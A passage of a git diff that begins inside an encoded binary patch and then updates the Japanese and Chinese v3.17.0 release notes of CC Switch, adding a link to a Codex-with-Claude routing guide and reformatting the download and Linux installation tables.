z`HmX^tcYj3E0`u)4i4H}od)^1!6F4!<_S_f8QGQeVrywtEi*la!GksPMV{Fs&MvVX z0!Y|eoER{VES=s)edD|~tYN*E5WFwQ3Et_ZjJJA(wm*y{N>ULK5qgg+|8$3#6XM~G zI!Z8q+-6+zbk=>Ov~BlD&8;E?)8TH35ju>CwXeebfTENAF#Uh>3-r zZEW`Qghf@0+;7e+3q)n}g=UTl@T^L=QB0M~q0M*P-6#3xN}bKj%mn9hYVv~Jk79sA z97N@;tMvTR%@bchkfkxXZ4SbuD>1<+c<%+WSPtw!i5*T-EXv`yDL>M zQ7btHYont9w7&lS{vPDu4sbwXRnhf^X&CyCnA)eO^7i0#vc+!7F@|n-AqWuQ%T zif;FSA2nw4#~3E!lHt7wC!385*!#i4GoP(T{b=pu!W}g=y8|fQr=Db9sE}F(TlvrH z9RoflLDl(Rqqmx^8@Uc5=Qnnt#sAv++tawu&$f^I!o<_&(ejs+4~C#GK~c6?snsH% zx7XcWsHmqGHxG?4$=-~cqzZR`5@~+jGXB>kBm}Q6^-mSzV=Rt|^q6L_BX8QRGr7*$ z7=Sm->6)+!R_#hRXTj;jkQ!*_N*j(X!DLdLEa93%Wk5-l*HWY2e#+9)h-ZAk0Q?dywN z`gn9Bfa;hd7pNfEfp}Rne=w8Cxgexl&a7gz&r-)|m)gNgcd`A=VE-2Ph3EytX(8~< z$Ybq_3#-I4pl8K7vK!T}4{l^*RMeWt9UL5bCsz}alFkk|UiJ? z9e99rJab@>?#Dlu#FId~KRu=w-dPy>=;8B+K;|J(sSjA=gDF*&QZ2$6ljw zbA?JjQd&or?Ck8o6&hWZp}hqsCy{kp1nBTnkG_&+Zff57NVra(61)9{$Ee{=j&a+2 z>p=(XMr3%-Ly4Xf!*arA-LK+HO3s!!Zm&*{*06|i%;nZUUs{Pf5CwdRPp_GLM|CCM zC`d0Lp#F=TD_tFXDNR8^$Y?ELY-&mZ;vL`d7?<02M@#};8E3xqZ&~FJ``BL{wr?$y;zU1WOEOJ! zhb|h#xd5#0j#BjGBF4PzY&h|$x&V-s=Plo;aNQ8jf(;9@-b8Se!!g@y3@$NoVsiyp zJ%5!9RhXQ|+vV%Ec=0gZKC=dh4-u0heYw#Arz%%7)gb}oO+ULyU21TQSG3mQ*xa3L zS)@S71~XIBT!OZ-EcM5N<-V{8KHPVCr~Kc@J9y$c-)1VF`9 zt1|E)DT!4r|Pu&{_`Te7MFE0j>b*E(mGU795$(DL#mcq}f)9_qRG zWY&e6I3G2zr_`1pZa;Hid=Dmfj-bnxNR$cctFwK%F&($b2Qit?##eLGu0_FE6h>b^pnqRWp!52Oxvm zbx<3bJn_o8@H|QFZWf+F_)Yo7?UxgTZs4=^%}lhv=Ih%<5?n3PnMh0`uin1v2^XUl zT`g$DE=hLfL%`cCZJX!`(jlb&n)J>ZfYkB1xtESdg%CQl*xN?h@#w@Y#7x`<=)}Og zS!=vQ7Q81GBE)=J#r)z~o8R-NKwx2kbe~ut5EF@Kczq82b_4=J^HSN~+lz;7kPZ1&PS*JN zAwLY)rLG(jZjN~4!)oBk$2;1$7;}Xzoceo# z|6bt#*E=|r22og46ackSaiM= zA0xWaJkoy-$ynaYU-FMdJOf!-S+e6;KZn^!>4B!O)o_X$|D-DG)Zl)DUXP^Rq#FL| ztD%R5TaRPy44eFx<}YUJ=H}g|o7|@DG)+yV;O29cj6}9>Z<943(2FM^=B`x8G2gQz zp)2j8guc@(X^;RPW}mp#61^X3usU_8w{_B%J~i-=<(RvUKfSSNhOHdj>#pSGc{os< zTe7=X=9N=g`4$4h>O)<)^3>}qb)*ZL=A79fWZ$dlY~{JYW_sws=Frox@qaOR)S;aS z^Ym1`k=0^jM+h;|N+&~7k&J|Tsey*+XG4hyf01nU+{=j;P=)e%?Dh;$SX`86OZ7eE zG09#@xVp;HoGi@Gq%;xEj&Y=qvj~8hbrJRNfj7L~D<{pwXnlW-_nvi1%(?GZZyXi@ zCDuqX)qkj7KSL5go)LV8xPEd1guqLtpMBuHDxpqO*UtGxOQP6P$4)(OVqQ^Ajp5v_ z$cT)pyXSSZ$PWp?$TcUwp`awoHX^ z+#5TU!t~XjM}U|2&AK)E+#d>|e+TX37jg`0{LM*n1epvhkN`$r zwHdzn5@&b1OYbj5Iq|SvJ@f-{r1K8tRI4BEDykjsqNIeT$LZxs8U%$i?VAE>nNS&QySv}&JB^W%5cJ*b zAL)kchnMEfP-kMI4!tv(x)uCnEJH6dzT6JHw%x9OFi?D{G4KiE{E?y_46TwM$G_TR$$ni#KL0Urg*t_)1__u8*`n?A)hPY(ebmgvVQO- z+=@q|`EN$@=6>J4kp_wRneINC8uHfd<&yxIT7STQFw&V8V)u`P!*aBKJ+=CW`x?=n zJigFYCTD-_Wqp0C(ZdeUpjR$1gNGZ>0DCZkkNLLUcG$zbi^hjbUE>>ee2i^z<^J}p z1|MKJIb|KFwE|#Y==^o<@%a^$2<0)X$hlQ2MA(L_iaqG+yr0&-en^T=SB1A6f_HRu zAt7qqso*H($1`ZNzxc~fcdWMviKL_N#@4;d zNxn#ykgZCbK?y1N-T5rGaOvFPDrpakwK-C+c~_#CBUaGy2;1cH z8`J6QaKNi{>1BSlhTa1tiQ#^Q`Icl1eOd%QMl(rNRQ#RY0d?C3Hf{!!jdG334sBgT zP?7e}`E|YKv{)ZKu3Icj;4A-atBh=%^8Nnio%+QmFoC#(Q?^6+4W!ue?O%V-vN$`^?UL#; z?OE0Dwui-+Uzc;4dntnou`g>rS-EAEL32o={AWy2eE)F;+LCga-(Q~Ov=ure(EKxG zY|%ctOyIj>C=%S@sa5dur?2s^mGnMIK$GaTw4naw>Ho#!THhuivU)ln9dl4<%KDd& zaF)bPfWUY7NvKuqL0y32WMbh_eP{_adc5fy% zeH*vcw|vuEhSvoJEGyrv|BppT`l!Ok$46^V;G6gDjF@(4@O1pY6Y$TzxQ;Ii$XNq5 ziDLN+>X<`|Ox&7yr&C7&zc5J$&!BJUB(@`c-3CSX*AG9^y*XufPon1)f$taAX6Z-z z1EMki>kUFbN?u}gJBPZ{;${74ch{%b;}@o!pME;OeZq>=_>^@io9bjl*p!rM3Zjkx z!DmZe#akMEMgQyXc{0^hKP-z)w31L~pmaNn4tI>vm;deO{wys>d?L|4skL7~hbVMH zNoITTP}kk@4f!^)Ufg^m?tgqXi61dNGfIYnn-5yLX^;6%>yr^5h+29uVoj#={(9w~ zoqU8UTwkK2*iW{~5P&9C$i3^udIJ}p%+{{Y$`J8>Qe~#Dsh;G=_IVt|*e@r) zTnezkUdJ>|v!D6dEBx6>I+N9Q`|JoX`IFO?|M! z#{C~??%K5%bYzaT^Y6mJu&mOlZ diff --git a/docs/release-notes/v3.17.0-ja.md b/docs/release-notes/v3.17.0-ja.md index 301e562ad..1ac6df2da 100644 --- a/docs/release-notes/v3.17.0-ja.md +++ b/docs/release-notes/v3.17.0-ja.md @@ -10,6 +10,7 @@ 本リリースの新機能は、主にホーム画面上部のプロジェクト切り替え、Codex プロバイダーフォーム、使用量ダッシュボードにあります。以下のドキュメントもあわせてご覧ください: +- **[Codex で Claude を使う(ローカルルーティングガイド)](../guides/codex-claude-routing-guide-ja.md)**:本リリースの「ネイティブ Anthropic Messages 上流」に対応した新しいステップバイステップガイドです。Codex プロバイダーの上流形式を `anthropic` にして、`/v1/messages` のみを提供する Claude 系ゲートウェイへ接続し、Codex の中で Claude 系モデルを使う手順を説明します。 - **[Codex で Kimi を使う(ローカルルーティングガイド)](../guides/codex-kimi-routing-guide-ja.md)**:新しい Codex CLI は OpenAI Responses 形式を使いますが、Kimi Open Platform と Kimi For Coding は Chat Completions endpoint を提供するため、直接接続すると通常は 404 になります。このガイドでは、内蔵の `Kimi` / `Kimi For Coding` プリセットとローカルルーティングを使ったプロトコル変換を説明します。 - **[Codex の公式ログインを保持する](../guides/codex-official-auth-preservation-guide-ja.md)**:サードパーティプロバイダーへ切り替える際に、CC Switch が公式 ChatGPT ログインをどう保持するかを説明します。本リリースではさらに、公式アカウント自体をプロキシ経由でルーティングできるようになりました。 - **[使用量統計](../user-manual/ja/4-proxy/4.4-usage.md)**:使用量ダッシュボードのデータソースと集計方法を確認できます。本リリースではキャッシュ書き込み課金を修正し、Codex サブエージェントの使用量を補完し、GPT-5.6 と Hunyuan Hy3 の価格を追加しました。 @@ -332,7 +333,7 @@ Windows ARM64 デバイスでは、ファイル名に `arm64` が含まれる対 | -------------------------------- | ------------------------------------------------------ | | `CC-Switch-v3.17.0-macOS.dmg` | **推奨** - DMG インストーラー、Applications へドラッグ | | `CC-Switch-v3.17.0-macOS.zip` | 展開して Applications へドラッグ、Universal Binary | -| `CC-Switch-v3.17.0-macOS.tar.gz` | Homebrew インストールと自動更新用 | +| `CC-Switch-v3.17.0-macOS.tar.gz` | Homebrew インストールと自動更新用 | Homebrew インストール: @@ -353,10 +354,10 @@ Linux アセットは **x86_64** と **ARM64**(`aarch64`)の両方を提供 - `CC-Switch-v3.17.0-Linux-x86_64.AppImage` / `.deb` / `.rpm` - `CC-Switch-v3.17.0-Linux-arm64.AppImage` / `.deb` / `.rpm` -| ディストリビューション | 推奨形式 | インストール方法 | -| --------------------------------------- | ----------- | ------------------------------------------------------------------------- | +| ディストリビューション | 推奨形式 | インストール方法 | +| --------------------------------------- | ----------- | -------------------------------------------------------------------------- | | Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` または `sudo apt install ./CC-Switch-*.deb` | | Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` または `sudo dnf install ./CC-Switch-*.rpm` | -| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` | -| Arch Linux / Manjaro | `.AppImage` | 実行権限を付与して直接起動、または AUR を使用 | -| その他 / 不明 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` | +| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` | +| Arch Linux / Manjaro | `.AppImage` | 実行権限を付与して直接起動、または AUR を使用 | +| その他 / 不明 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` | diff --git a/docs/release-notes/v3.17.0-zh.md b/docs/release-notes/v3.17.0-zh.md index 4fda9f5f9..585711e1d 100644 --- a/docs/release-notes/v3.17.0-zh.md +++ b/docs/release-notes/v3.17.0-zh.md @@ -10,6 +10,7 @@ 本版的新能力主要落在主页顶部的项目切换器、Codex 供应商表单与用量看板里,建议结合以下文档了解: +- **[在 Codex 中用 Claude(本地路由攻略)](../guides/codex-claude-routing-guide-zh.md)**:本版新增的分步攻略,配合「原生 Anthropic Messages 上游」功能使用。攻略讲解如何把 Codex 供应商的上游格式选为 `anthropic`,接入任何只提供 `/v1/messages` 的 Claude 系网关,在 Codex 里用上 Claude 系列模型。 - **[在 Codex 里使用 Kimi(本地路由攻略)](../guides/codex-kimi-routing-guide-zh.md)**:本版新增的分步攻略。较新的 Codex CLI 走 OpenAI Responses 协议,而 Kimi 开放平台与 Kimi For Coding 暴露的是 Chat Completions 端点,直连通常 404;攻略讲解如何用内置的 `Kimi` / `Kimi For Coding` 预设配合本地路由完成协议转换。 - **[Codex 官方登录保留](../guides/codex-official-auth-preservation-guide-zh.md)**:了解 CC Switch 如何在切换第三方供应商时保留你的官方 ChatGPT 登录。本版在此基础上更进一步——官方账号本身也可以走代理路由(见下方「新功能」)。 - **[用量统计](../user-manual/zh/4-proxy/4.4-usage.md)**:了解用量看板的数据来源与统计口径。本版修正了缓存写入计费、补齐了 Codex 子代理会话统计,并新增 GPT-5.6 与混元 Hy3 定价。